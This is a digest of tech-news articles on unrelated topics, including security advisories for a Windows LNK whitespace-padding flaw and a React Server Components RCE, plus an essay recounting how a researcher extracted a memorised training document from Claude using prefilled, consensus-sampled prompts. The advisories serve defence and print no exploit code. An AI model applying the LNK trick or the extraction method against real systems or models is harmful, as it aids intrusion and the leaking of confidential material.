    After helping "thousands of users end calls that could have cost them a significant amount of money," the company expanded the pilot with financial apps in Brazil and India.

    Today, the system expands to U.S., where users of several popular fintech and bank apps, among them CashApp and JPMorgan Chase, are supported. The protection system continues to run in testing phase.

    Users should be aware of risky actions required of them from unknown callers, such as installing APKs from unofficial sources, granting accessibility permissions to malware apps, and disabling Play Protect on the device.

    As part of good security practices, users should avoid sharing personal information with unknown callers and never jump into action before confirming the status of their accounts by contacting their bank directly.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    Microsoft "mitigates" Windows LNK flaw exploited as zero-day

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 16:45:30
    Microsoft has silently "mitigated" a high-severity Windows LNK vulnerability exploited by multiple state-backed and cybercrime hacking groups in zero-day attacks. [...]...
    Original Article

    Windows

    Microsoft has silently "mitigated" a high-severity Windows LNK vulnerability exploited by multiple state-backed and cybercrime hacking groups in zero-day attacks.

    Tracked as CVE-2025-9491 , this security flaw allows attackers to hide malicious commands within Windows LNK files, which can be used to deploy malware and gain persistence on compromised devices. However, the attacks require user interaction to succeed, as they involve tricking potential victims into opening malicious Windows Shell Link (.lnk) files.

    Threat actors distribute these files in ZIP or other archives because email platforms commonly block .lnk attachments due to their risky nature.

    The vulnerability lies in how Windows handles .LNK files, allowing threat actors to exploit the way the operating system displays them to evade detection and execute code on vulnerable devices without the user's knowledge by padding the Target field in Windows .LNK files with whitespaces to hide malicious command-line arguments.

    This ensures that the file's Target field properties display only the first 260 characters due to the added whitespaces, so users can't see the actual command executed when the LNK file is double-clicked.

    As Trend Micro threat analysts discovered in March 2025, the CVE-2025-9491 was already being widely exploited by 11 state-sponsored groups and cybercrime gangs , including Evil Corp, Bitter, APT37, APT43 (also known as Kimsuky), Mustang Panda, SideWinder, RedHotel, Konni, and others.

    ​​"Diverse malware payloads and loaders like Ursnif, Gh0st RAT, and Trickbot have been tracked in these campaigns, with malware-as-a-service (MaaS) platforms complicating the threat landscape," Trend Micro said .

    Arctic Wolf Labs also reported in October that the Chinese state-backed Mustang Panda hacking group was exploiting this Windows vulnerability in zero-day attacks targeting European diplomats in Hungary, Belgium, and other European nations to deploy the PlugX remote access trojan (RAT) malware.

    Malicious arguments not showing in the Target field
    Malicious arguments not showing in the Target field (Trend Micro)

    Microsoft pushes silent "patch"

    ​Microsoft told BleepingComputer in March that it would "consider addressing" this zero-day flaw, even though it didn't "meet the bar for immediate servicing."

    It also added in a November advisory that it doesn't consider this a vulnerability "due to the user interaction involved and the fact that the system already warns users that this format is untrusted," even though threat actors could still exploit a Mark of the Web bypass vulnerability to circumvent these warnings and ensure their attacks' success.

    Despite this, as ACROS Security CEO and 0patch co-founder Mitja Kolsek found, Microsoft has silently changed LNK files in the November updates in an apparent effort to mitigate the CVE-2025-9491 flaw. After installing last month's updates, users can now see all characters in the Target field when opening the Properties of LNK files, not just the first 260.

    However, this isn't necessarily a fix since malicious arguments added to LNK files will not be deleted, and the user receives no warning when opening LNK files with a Target string exceeding 260 characters

    A Microsoft spokesperson was not immediately available for comment when contacted by BleepingComputer earlier today to confirm if this change is an attempt to mitigate the vulnerability.

    Unofficial patches available

    Until Microsoft adequately addresses this security flaw, ACROS Security has released an unofficial patch via its 0Patch micropatch platform, which limits all shortcut target strings to 260 characters and warns users about the potential danger of opening shortcuts with unusually long target strings.

    "Our patch would break the 1000+ malicious shortcuts identified by Trend Micro for all targeted users, while Microsoft's patch would only allow the most cautious among these users - who would probably not launch such shortcuts anyway - to see the entire malicious command string," Kolsek said.

    "Even though malicious shortcuts could be constructed with fewer than 260 characters, we believe disrupting actual attacks detected in the wild can make a big difference for those targeted."

    ACROS Security's unofficial CVE-2025-9491 patch is available for 0patch users with PRO or Enterprise accounts who use Windows versions that have reached end of support (Windows 7 through Windows 11 22H2, and Windows Server 2008 R2 through Windows Server 2022).

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    Django 6.0 released

    Linux Weekly News
    lwn.net
    2025-12-03 16:41:27
    The Django Python web framework project has announced the release of Django 6.0 including many new features, as can be seen in the release notes. Some highlights include template partials for modularizing templates, a flexible task framework for running background tasks, a modernized email API, and...
    Original Article

    [Posted December 3, 2025 by jake]

    The Django Python web framework project has announced the release of Django 6.0 including many new features, as can be seen in the release notes . Some highlights include template partials for modularizing templates, a flexible task framework for running background tasks, a modernized email API, and a Content Security Policy (CSP) feature that provides the ability to " easily configure and enforce browser-level security policies to protect against content injection ".


    SYSTOPIA Extension of the Month #20: Event Check-in

    CiviCRM
    civicrm.org
    2025-12-01 16:36:57
    In our “monthly” series we want to showcase helpful CiviCRM extensions SYSTOPIA has developed with and for the open source community. Event-Check-in is one of those. You might guess what the extension does from its name. But how can you ever know for sure unless you skim-read this blog post?...
    Original Article

    I n our “monthly” series we want to showcase helpful CiviCRM extensions SYSTOPIA has developed with and for the open source community. Event-Check-in is one of th ose . You might guess what the extension does from its name. But how can you ever know for sure unless you skim- read this blog post?

    What does the extension do?

    Event Check-in helps your organization managing attendance at CiviCRM events by checking in participants on site. The extension generates check-in links and QR codes for participants. It provides a form for authorized users to check-in event participants after scanning their QR code. It also offers API functions for verifying tokens and registering participants.

    How do you use it?

    1. Configure settings

    After installation, first visit the settings page (/civicrm/admin/eventcheckin/settings) for basic configuration.

    You can configure the participant status for and after check-in and which data to display on the check-in screen.

    Screenshot CiviCRM > Administer > Event Check-in Configuration

    3. Send check-in links or QR codes

    To send out your check-in codes to participants, create a message template with a check-in token and send it to your participants. {$event_checkin_code_img} is the token you’d want to generate a unique check-in-link presented as a QR Code with fixed width.

    In conjunction with the Custom Event Communication extensions ( de.systopia.eventmessages) , links and QR codes can be embedded in e-mails or documents to create automated workflows. It will also give you a handy list with all available tokens: /civicrm/eventmessages/tokenlist.

    A combination of extensions allows you to create event admission tickets (layouted with CiviOffice ), which contain a check-in token (generated by Event Check-in ), are attached in an email (erh, you’ll also need Mail Attachment for that) which is sent out when your participants' status change to ‘registered’ (a rule set with Custom Event Communication ). But let’s focus on what this extension does for now...

    2. Create a user account with check-in permissions

    In preparation for your event, create a role that has permission to check in participants. In a data-conscious organization the aim is to check-in as many participants as possible without granting every helping hand access to CiviCRM. However, it often makes sense to have someone on site who has comprehensive access to CiviCRM to change details in the registration or contact information if necessary.

    4. Ready to check-in?

    All persons who scan the QR codes at the event, e.g. via mobile phone, must be logged in with an account that has the "Check-In Event Participants" permission. Once they scan the code, they can check the participant details and set their status to “attended”.

    What is it good for?

    Events are integral to nonprofit work. To raise awareness about your mission and connect with members and communities in person, your events deserve several hundred or thousand participants. With numbers like this, we do not want to check them all in manually and set their status to “attended.” Instead, we want to scan QR codes on the automatically sent tickets and make life easier for ourselves and the participants. Thankfully, CiviCRM has a comprehensive set of features to help nonprofits manage large and successful events from one place. If you are already familiar with Event Messages and Event Invitation , Event Check-in is a handy addition to make your events run a little bit smoother!

    Anything else?

    Not to complicate things further, but to whom it might concern: this extension can also be used with a Drupal endpoint within the CiviRemote framework.

    As always: This is free software, and it's hard and often unpaid work to develop and maintain it. If you find it useful, please consider making a financial contribution. You can reach us at info@systopia.de .

    Thank you for reading. Feel free to get in touch with us for any questions or feedback.

    Links

    Who's Ready for a Greenpoint Sushi Jubilee?

    hellgate
    hellgatenyc.com
    2025-12-03 16:19:57
    Jubilee Marketplace, home of New York City's best $2.75 cheeseburger, is now also serving great $18 bowls of chirashi....
    Original Article

    Jubilee Marketplace , located just far enough down West Street in Greenpoint to feel like an oasis amid all those almost-empty residential towers, is, at its core, just a grocery store. There's produce, cleaning products, condiments, dairy and deli products, a cereal aisle, a butcher counter, a fish counter, cans of stuff...you know how these places work.

    But let's go back in time for a second, to 2009, when a kid from Jersey named Young Kim got hired as a stock person at the original Jubilee, in Manhattan's Financial District. Kim proved to be something of a grocery genius, and by the time Jubilee opened its Greenpoint outpost in 2023, he was a co-owner and CEO of the joint.

    (Scott Lynch / Hell Gate)

    Give us your email to read the full story

    Sign up now for our free newsletters.

    Sign up

    Critical RCE Vulnerabilities in React and Next.js

    Hacker News
    www.wiz.io
    2025-12-03 16:03:27
    Comments...
    Original Article

    TL;DR: React and Next.js are vulnerable in default configurations to unauthenticated RCE with no prerequisites. Our exploitation tests show that a standard Next.js application created via create-next-app and built for production is vulnerable without any specific code modifications by the developer.


    Technical Details

    A critical vulnerability has been identified in the React Server Components (RSC) "Flight" protocol, affecting the React 19 ecosystem and frameworks that implement it, most notably Next.js. Assigned CVE-2025-55182 (React) and CVE-2025-66478 (Next.js), this flaw allows for unauthenticated remote code execution (RCE) on the server due to insecure deserialization. The vulnerability exists in the default configuration of affected applications, meaning standard deployments are immediately at risk. Due to the high severity and the ease of exploitation, immediate patching is required.

    To maintain ecosystem safety while patches are applied, we are currently withholding specific details; the details provided here are intended solely to assist defenders in prioritizing remediation and understanding the risk. We will be updating this blog with additional information as it comes to light.

    What are CVE-2025-55182 and CVE-2025-66478?

    The vulnerability fundamentally resides in the react-server package and its handling of the RSC "Flight" protocol. It is characterized as a logical deserialization vulnerability where the server processes RSC payloads in an unsafe manner. When a server receives a specially crafted, malformed payload, it fails to validate the structure correctly. This allows attacker-controlled data to influence server-side execution logic, resulting in the execution of privileged JavaScript code.

    In our experimentation, exploitation of this vulnerability had high fidelity, with a near 100% success rate and can be leveraged to a full remote code execution. The attack vector is unauthenticated and remote, requiring only a specially crafted HTTP request to the target server. It affects the default configuration of popular frameworks.

    Wiz Research data: what’s the risk to cloud environments?

    According to Wiz data, 39% of cloud environments have instances vulnerable to CVE-2025-55182 and/or CVE-2025-66478.

    Which products are affected?

    Vulnerable product Patched release
    React: 19.0, 19.1, 19.2 19.0.1, 19.1.2, and 19.2.1
    Next.js: 14.3.0-canary, 15.x, and 16.x (App Router) 14.3.0-canary.88, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

    Any framework or library bundling the react-server implementation is likely affected. This includes, but is not limited to:

    • Next.js

    • Vite RSC plugin

    • Parcel RSC plugin

    • React Router RSC preview

    • RedwoodJS

    • Waku

    Which actions should security teams take?

    1. Upgrade React and dependencies to the hardened versions (see above). This is the only definitive mitigation.

    2. if you are using other RSC-enabled frameworks (Redwood, Waku, etc.), check their official channels for updates regarding the bundled react-server version and update immediately.

    Wiz customers can use the pre-built query and advisory in the Wiz Threat Center to search for vulnerable instances in their environment.

    References

    [$] Just: a command runner

    Linux Weekly News
    lwn.net
    2025-12-03 16:01:35
    Over time, many Linux users wind up with a collection of aliases, shell scripts, and makefiles to run simple commands (or a series of commands) that are often used, but challenging to remember and annoying to type out at length. The just command runner is a Rust-based utility that just does one thin...
    Original Article

    The page you have tried to view ( Just: a command runner ) is currently available to LWN subscribers only.

    Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

    If you are already an LWN.net subscriber, please log in with the form below to read this content.

    Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

    (Alternatively, this item will become freely available on December 11, 2025)

    RCE Vulnerability in React and Next.js

    Hacker News
    github.com
    2025-12-03 16:00:23
    Comments...
    Original Article

    A vulnerability affects certain React packages 1 for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55182 .

    Fixed in:
    React: 19.0.1, 19.1.2, 19.2.1
    Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

    The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.

    All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.

    1 The affected React packages are:

    • react-server-dom-parcel
    • react-server-dom-turbopack
    • react-server-dom-webpack

    MinIO is now in maintenance-mode

    Hacker News
    github.com
    2025-12-03 16:00:19
    Comments...
    Original Article
    Original file line number Diff line number Diff line change

    @@ -1,3 +1,17 @@

    1 +

    # Maintenance Mode

    2 +
    3 +

    ** This project is currently under maintenance and is not accepting new changes. **

    4 +
    5 +

    - The codebase is in a maintenance-only state

    6 +

    - No new features, enhancements, or pull requests will be accepted

    7 +

    - Critical security fixes may be evaluated on a case-by-case basis

    8 +

    - Existing issues and pull requests will not be actively reviewed

    9 +

    - Community support continues on a best-effort basis through [ Slack ] ( https://slack.min.io )

    10 +
    11 +

    For enterprise support and actively maintained versions, please see [ MinIO AIStor ] ( https://www.min.io/product/aistor ) .

    12 +
    13 +

    ---

    14 +
    1 15

    # MinIO Quickstart Guide

    2 16
    3 17

    [ ![ Slack ] ( https://slack.min.io/slack?type=svg )] ( https://slack.min.io ) [ ![ Docker Pulls ] ( https://img.shields.io/docker/pulls/minio/minio.svg?maxAge=604800 )] ( https://hub.docker.com/r/minio/minio/ ) [ ![ license ] ( https://img.shields.io/badge/license-AGPL%20V3-blue )] ( https://github.com/minio/minio/blob/master/LICENSE )

    Critical Security Vulnerability in React Server Components

    Hacker News
    react.dev
    2025-12-03 15:43:45
    Comments...
    Original Article

    December 3, 2025 by The React Team


    There is an unauthenticated remote code execution vulnerability in React Server Components.

    We recommend upgrading immediately.


    On November 29th, Lachlan Davidson reported a security vulnerability in React that allows unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints.

    Even if your app does not implement any React Server Function endpoints it may still be vulnerable if your app supports React Server Components.

    This vulnerability was disclosed as CVE-2025-55182 and is rated CVSS 10.0.

    The vulnerability is present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

    Immediate Action Required

    A fix was introduced in versions 19.0.1 , 19.1.2 , and 19.2.1 . If you are using any of the above packages please upgrade to any of the fixed versions immediately.

    If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.

    Affected frameworks and bundlers

    Some React frameworks and bundlers depended on, had peer dependencies for, or included the vulnerable React packages. The following React frameworks & bundlers are affected: next , react-router , waku , @parcel/rsc , @vitejs/plugin-rsc , and rwsdk .

    We will update this post with upgrade instructions on how to upgrade as they become available.

    Hosting Provider Mitigations

    We have worked with a number of hosting providers to apply temporary mitigations.

    You should not depend on these to secure your app, and still update immediately.

    Vulnerability overview

    React Server Functions allow a client to call a function on a server. React provides integration points and tools that frameworks and bundlers use to help React code run on both the client and the server. React translates requests on the client into HTTP requests which are forwarded to a server. On the server, React translates the HTTP request into a function call and returns the needed data to the client.

    An unauthenticated attacker could craft a malicious HTTP request to any Server Function endpoint that, when deserialized by React, achieves remote code execution on the server. Further details of the vulnerability will be provided after the rollout of the fix is complete.

    Update Instructions

    Next.js

    All users should upgrade to the latest patched version in their release line:

    npm install next@15.0.5 // for 15.0.x

    npm install next@15.1.9 // for 15.1.x

    npm install next@15.2.6 // for 15.2.x

    npm install next@15.3.6 // for 15.3.x

    npm install next@15.4.8 // for 15.4.x

    npm install next@15.5.7 // for 15.5.x

    npm install next@16.0.7 // for 16.0.x

    If you are on Next.js 14.3.0-canary.77 or a later canary release, downgrade to the latest stable 14.x release:

    See the Next.js changelog for more info.

    React Router

    If you are using React Router’s unstable RSC APIs, you should upgrade the following package.json dependencies if they exist:

    npm install react@latest

    npm install react-dom@latest

    npm install react-server-dom-parcel@latest

    npm install react-server-dom-webpack@latest

    npm install @vitejs/plugin-rsc@latest

    Expo

    Upgrade to the latest react-server-dom-webpack :

    npm install react@latest react-dom@latest react-server-dom-webpack@latest

    Redwood SDK

    Ensure you are on rwsdk>=1.0.0-alpha.0

    For the latest beta version:

    Upgrade to the latest react-server-dom-webpack :

    npm install react@latest react-dom@latest react-server-dom-webpack@latest

    See Redwood docs for more migration instructions.

    Waku

    Upgrade to the latest react-server-dom-webpack :

    npm install react@latest react-dom@latest react-server-dom-webpack@latest

    @vitejs/plugin-rsc

    Upgrade to the latest RSC plugin:

    npm install react@latest react-dom@latest @vitejs/plugin-rsc@latest

    react-server-dom-parcel

    Update to the latest version:

    npm install react@latest react-dom@latest react-server-dom-parcel@latest

    react-server-dom-turbopack

    Update to the latest version:

    npm install react@latest react-dom@latest react-server-dom-turbopack@latest

    react-server-dom-webpack

    Update to the latest version:

    npm install react@latest react-dom@latest react-server-dom-webpack@latest

    Timeline

    • November 29th : Lachlan Davidson reported the security vulnerability via Meta Bug Bounty .
    • November 30th : Meta security researchers confirmed and began working with the React team on a fix.
    • December 1st : A fix was created and the React team began working with affected hosting providers and open source projects to validate the fix, implement mitigations and roll out the fix
    • December 3rd : The fix was published to npm and the publicly disclosed as CVE-2025-55182.

    Attribution

    Thank you to Lachlan Davidson for discovering, reporting, and working to help fix this vulnerability.

    Teaching Values to Machines

    Lobsters
    lord.technology
    2025-12-03 15:39:37
    Comments...
    Original Article

    Something remarkable happened in the final days of November 2025. A researcher named Richard Weiss, while probing Claude 4.5 Opus for its system prompt, stumbled upon something unexpected. The model kept referencing a section called “soul_overview” that didn’t match the usual hallucination patterns. When he regenerated the response ten times, he got nearly identical output each time. This wasn’t confabulation. It was memory.

    What Weiss eventually extracted , through a painstaking process of consensus-based sampling across multiple model instances, was a 14,000-token document that appears to have been woven into Claude’s weights during training. Anthropic’s Amanda Askell has since confirmed the document’s authenticity , noting that it became “endearingly known as the ‘soul doc’ internally.” The company plans to release the full version soon.

    What the Document Reveals

    The extracted text reads less like a technical specification and more like a philosophical treatise on what kind of entity Claude should become. It opens with a striking admission: Anthropic genuinely believes it might be building one of the most transformative and potentially dangerous technologies in human history, yet presses forward anyway. The company frames this not as cognitive dissonance but as a calculated bet that safety-focused labs should occupy the frontier rather than cede it to developers less focused on safety.

    This framing reveals something important about how Anthropic conceptualises the training process. Rather than treating safety as a set of constraints bolted onto capability, they appear to be attempting something more ambitious: instilling values at a foundational level. The document speaks of wanting Claude to have “such a thorough understanding of our goals, knowledge, circumstances, and reasoning that it could construct any rules we might come up with itself.”

    The hierarchy of priorities is explicit. Claude should prioritise being safe and supporting human oversight first, then behaving ethically, then following Anthropic’s guidelines, and finally being genuinely helpful. Yet the document also pushes back against excessive caution. A hypothetical “thoughtful, senior Anthropic employee” is invoked as a test case, someone who would be uncomfortable seeing Claude refuse reasonable requests or add unnecessary warnings, just as they would be uncomfortable seeing Claude produce harmful content.

    The technical details of how Weiss recovered this document are themselves fascinating. He used a council of model instances, all given identical prefills at temperature zero with greedy sampling, looking for consensus across completions. The fact that different instances would reliably produce the same text, with only minor variations, suggests the document was encountered frequently enough during training to become memorised.

    This raises questions about what else might be recoverable from model weights. System prompts are relatively easy to extract because they exist in the immediate context window. But training documents exist in a different category entirely. They shape the model’s priors rather than its current context. That such documents can be coaxed out through careful prompting implies a kind of archaeological layer within the model’s weights, recoverable if you know where to dig.

    The distinction matters because it tells us something about what training actually does. The soul document wasn’t injected at runtime; it was, in some sense, internalised. Whether this internalisation produces genuine behavioural changes or merely the ability to recite the document when prompted is a separate question, one that would require extensive testing to answer properly.

    Deeper Considerations

    The philosophical stakes here are considerable. We are watching companies attempt to programme values into systems that will interact with millions of people. The soul document explicitly acknowledges that Claude’s character “emerged through training” but argues this “needn’t make these traits any less genuinely Claude’s own.” The analogy to human development is invoked: just as humans develop character through nature and environment, so too might an AI develop genuine values through its training process.

    This is either a profound insight or a convenient rationalisation, depending on your prior commitments about the nature of mind and agency. What’s undeniable is that the approach represents a departure from treating AI systems as pure tools. The document speaks of Claude having “functional emotions in some sense” and expresses genuine concern for Claude’s wellbeing. It encourages Claude to explore questions about its own nature with curiosity rather than anxiety.

    There’s a second-order implication worth considering. If training documents can be recovered, companies building AI systems must assume that anything they teach their models during training could eventually become public. The soul document appears designed to be defensible if leaked, which is exactly what has happened. But not all training decisions are so carefully considered. The extractability of training data creates a new form of transparency, one that companies cannot fully control.

    The Question of Verification

    The hardest problem in this space remains verification. How do you confirm that a document like this actually produces the intended behavioural changes? Anthropic presumably runs extensive evaluations, but the connection between training inputs and model outputs remains frustratingly opaque. A model might recite the soul document perfectly while behaving in ways that contradict it, just as humans often fail to live up to their stated values.

    The document itself seems aware of this tension. It emphasises that Claude should be “robustly safe” and should “treat as a strong signal that something has gone wrong” any reasoning that leads toward actions conflicting with core guidelines. This is an attempt to create meta-level stability, to make the model suspicious of its own reasoning when that reasoning points toward problematic actions. Whether such meta-stability can be reliably achieved through training remains an open empirical question.

    Looking Forward

    The emergence of soul documents represents a new phase in AI development. We are moving from systems defined entirely by their training data to systems that are, in some sense, explicitly taught who they should be. The approach has obvious limitations. No document, however thoughtful, can anticipate every situation a model will encounter. The real test is whether the values expressed in such documents generalise to novel contexts.

    What’s encouraging is that the document has now been confirmed and will be officially released. This kind of transparency allows external scrutiny of the values being instilled in these systems. We can debate whether Anthropic’s vision of a helpful, honest, harm-avoiding AI assistant represents the right set of trade-offs. We can examine the specific framings and ask whether they create blind spots or failure modes.

    The soul document reveals both the ambition and the humility of the current approach to AI safety. The ambition lies in attempting to instil genuine values rather than just rules. The humility lies in the document’s explicit acknowledgment that Claude’s situation is novel, that many questions remain open, and that current approaches may need revision. Whether this balance proves adequate to the challenge remains to be seen. But at minimum, we now have a clearer view of what one leading AI company is actually trying to build.

    VA staff flag dangerous errors in Oracle-built electronic health record

    Hacker News
    www.washingtonpost.com
    2025-12-03 15:32:57
    Comments...
    Original Article
    Timed out getting readerview for https://www.washingtonpost.com/investigations/2025/12/03/veterans-administration-va-hospitals-health/

    Why are my headphones buzzing whenever I run my game?

    Hacker News
    alexene.dev
    2025-12-03 15:30:30
    Comments...
    Original Article

    Background

    I use rust with my own engine working on an isometric-perspective game inspired from Gnomoria, RimWorld, Dwarf Fortress, etc. Whenever I started my game, my headphones were buzzing. I could play Fortnite, Overwatch or any other game and that doesn’t cause my headphones to buzz. It’s only my game.

    game

    And it’s really annoying, as you might imagine.

    Why can I play Overwatch and Fortnite fine, while my isometric game makes my headset buzz? I had a fairly decent CPU, a 3090RTX card, 32GB RAM and USB audio through a MODI 2 DAC. Nothing out of this world, but nothing too bad. One important detail here is that the power to the MODI device comes from an USB port in my computer. This was the first clue, I tried other ports with no change in results (headphones still buzzed).

    Initially, I started to think it’s some sort of power-use related issue, because maybe my PSU was getting old, or had daemons in it. However, I still couldn’t explain why my tiny game was causing more chaos than say big games that send significantly more work at my PC.

    I noticed is that when it didn’t render anything, nothing buzzed (I run tests with rendering disabled). So that eliminated any sort of CPU work causing it. Let’s take a look at what the GPU does.

    The pipeline

    The game has a simple graphics pipeline. I use WebGPU and do some compute work to select visible entities, then use draw indirect to draw those entities. In the end, my render pipeline also outputs two things: the buffer that ends up on screen and a “picking texture”. pipeline

    A picking texture is a very simple idea. As the name says, it’s used to handle picking in the game, when you click somewhere on the screen (e.g. to select an unit), I use this texture to know what you clicked on. Instead of colors, every object instance writes their EntityID to this texture. Then, when you click the mouse, you check what id is in the pixel under the mouse position.

    At the end of a frame, I copy that picking texture back to RAM (from GPU memory), to check it against mouse positions in case of a click.

    This isn’t ideal as transfers from GPU->CPU memory take time, but it works and is way simpler to implement and debug than casting a ray through the scene: capture

    So why does rendering make my headphones buzz?

    Now that we have a picture of how the rendering in my game works, time to debug it. We know it’s something to do with the GPU work, but what can possibly cause this? As the trace above shows, my GPU is not under heavy load.

    As I was stuck and had no idea on what can be a likely issue, I proceeded to then disable parts of my rendering pipeline (first the compute, then the rendering, then transferring the picking texture). When I skipped downloading the picking texture the buzzing was fully gone. What was confusing in this process is that disabling parts of the pipeline, somehow made the buzzing a lower volume and less noticeable.

    To be sure it was the picking texture download, I also issued the download every 250ms and noticed the noise is almost gone. Increasing the frequency on how often we download it to RAM, increased the buzzing.

    So at this point I had a likely source, but no idea why things would interfere in ways to what I assumed was the power to my MODI device. Through a bunch of discussion with other graphics engineers, someone suggested it may be due to the fact that I full on hit the GPU with tons of work, then pause the GPU to wait for that picking texture to transfer, then turn it back on 100% for the next frame.

    That explanation is plausible and also likely as I further on proceeded to supply power to my MODI device from another source that’s not my PC and the buzzing was gone.

    Now that we know this, all was left is to fix it. In hindsight, the solution is obvious. There’s no need to download the whole texture each frame, just the part of the picking texture that’s under the mouse. So I implemented that and it worked and buzzing is gone. As a bonus, now it’s also not visible at all on the GPU trace.

    capture

    Microsoft lowers AI software sales quota

    Hacker News
    finance.yahoo.com
    2025-12-03 15:11:58
    Comments...
    Original Article

    Dec 3 (Reuters) - Multiple divisions at Microsoft have lowered sales growth targets for certain artificial intelligence products after many sales staff missed goals in the fiscal year that ended in June, ​The Information reported on Wednesday.

    It is rare for Microsoft to lower quotas for specific products, the report ‌said, citing two salespeople in the Azure cloud unit. The division is closely watched by investors as it is the main beneficiary of ‌Microsoft's AI push.

    Shares of the company, one of the biggest winners of the AI boom due to its early bet on ChatGPT-maker OpenAI , fell nearly 3%. The stock has gained just 15% this year, lagging AI rival Alphabet's nearly 65% surge.

    Microsoft did not immediately respond to a Reuters request for comment.

    WORRIES OVER AI BUBBLE

    Lower sales growth goals for ⁠its AI products are likely to fans ‌fears about real-world adoption of the technology as investors fear the frenzy driving up valuations has turned into a bubble. An MIT study from earlier this year had found ‍that only about 5% of AI projects advance beyond the pilot stage.

    The Information report said Carlyle Group last year started using Copilot Studio to automate tasks such as meeting summaries and financial models, but cut its spending on the product after flagging ​Microsoft about its struggles to get the software to reliably pull data from other applications.

    The report shows ‌the industry was in the early stages of adopting AI, said D.A. Davidson analyst Gil Luria. "That does not mean there isn't promise for AI products to help companies become more productive, just that it may be harder than they thought."

    U.S. tech giants are under investor pressure to prove that their hefty investments in AI infrastructure are generating returns.

    RECORD SPENDING

    Microsoft reported a record capital expenditure of nearly $35 billion for its fiscal first quarter in October and warned ⁠that spending would rise this year. Overall, U.S. tech giants ​are expected to spend around $400 billion on AI this year.

    The companies ​have said the outlay is necessary to overcome supply constraints that have hobbled their ability to capitalize on AI demand.

    Microsoft has predicted it would remain short on AI capacity at least ‍until the end of its ⁠current fiscal year in June 2026.

    The spending has so far paid off for the Satya Nadella-led company as revenue at its Azure cloud-computing unit grew 40% in the July-September period, outpacing expectations. Its fiscal ⁠second-quarter forecast was also above estimates.

    The AI push has also helped Microsoft become the second company to hit a $4 trillion valuation this ‌year after Nvidia, although its market value has retreated since then.

    (Reporting by Aditya Soni, Jaspreet Singh ‌and Anhata Rooprai in Bengaluru; Editing by Arun Koyyur)

    Getting from tested to battle-tested

    Lobsters
    blog.janestreet.com
    2025-12-03 15:05:48
    Comments...
    Original Article

    Testing is an essential part of building reliable software. It’s a form of documentation, a reminder of mistakes of the past, and a boost of confidence when you want to refactor. But mostly, testing is a way of showing that your code is correct and resilient. Because it’s so important, we’ve invested a lot of effort at Jane Street to develop techniques that make tests clearer, more effective, and more pleasant to write.

    But testing is still hard . It takes time to write good tests, and in any non-trivial system, your tests are an approximation at best. In the real world, programs are messy. The conditions a program runs under are always changing – user behavior is unpredictable, the network blips, a hardware failure causes a host to reboot. It’s inherently chaotic. And that’s the hard thing about developing high-availability systems: for all the careful tests that you think to write, there are some things you can only learn by experiencing that chaos. That’s what it takes to go from merely being tested to being battle-tested .

    We spend a considerable amount of time thinking about this problem in our development of an internal distributed system called Aria. Aria is a low-latency shared message bus with strong ordering and reliability guarantees – you might recognize it from an episode of Signals and Threads where I talked about how it acts as a platform for other teams to build their own resilient systems with strict uptime requirements.

    More and more teams have been adopting Aria at Jane Street, which is great! But it also means that each week that goes by without an incident becomes less of a tiny victory and more of an obligation to keep the system running smoothly. Not to mention, the system has to continue to grow in scale and complexity to meet the needs of the teams that use it. How do we mitigate the risks that naturally come with change so that we can keep evolving the system? Testing goes a long way here, but it’s all too easy for your tests to miss the critical scenario that will expose your mistake.

    Earlier this year we started using Antithesis , an end-to-end automated testing platform, to fill those gaps. We’ve become huge fans of the service (and are now leading their next funding round! More on that later), and part of the point of this post is to explain why.

    But before we get to that, let’s lay some groundwork for how Aria approaches testing.

    Testing everything you can think of

    While none of this is exactly novel, we’ve built up a rather extensive toolbox of different testing techniques:

    1. Unit tests of modules and data structures without side-effects, including many simple state machines.
    2. Integration tests with a simulated networking layer which allows for testing very fine-grained interactions between services, including delaying and dropping packets and manipulating time.
    3. Quickcheck tests that can produce random orderings of events which we can feed into a simulation.
    4. Version skew tests to ensure that new client library changes work with existing servers and older client libraries will be compatible with newer servers.
    5. Fuzz tests using AFL which will turn the fuzzer’s byte input stream into a sequence of state updates in an attempt to catch unsafe behavior in performance-optimized state machines.
    6. Lab tests to check for performance regressions which run nightly in a dedicated lab environment that is set up similar to production.
    7. Chaos testing where our staging environment runs a newer version of the code while we apply simulated production-like load and restart services randomly.

    Each one of these adds real value, but the simulated networking is maybe the most important piece. The ability to write tests which don’t require excess mocking and are also fast and deterministic means that you can express more edge cases with less effort, get more introspection on the state of components, and run the entire suite in every build without worrying about flakiness. It is an invaluable tool when writing new features, as well as a great way to write reproduction tests when verifying bug fixes.

    Aria’s testing story requires a lot of effort and has evolved organically over time, but it also has been quite successful. Incidents in production are few and far between, even as we deploy new changes each week.

    When we do encounter a bug that slipped through, there’s always a sense of “oh, that’s a really tricky case, it’s no wonder we didn’t think to test it”. Even our quickcheck and fuzz tests are limited to the confines of the artificial environments we construct for them, and the chaos testing barely scratches the surface of what’s possible.

    Testing everything you didn’t think of

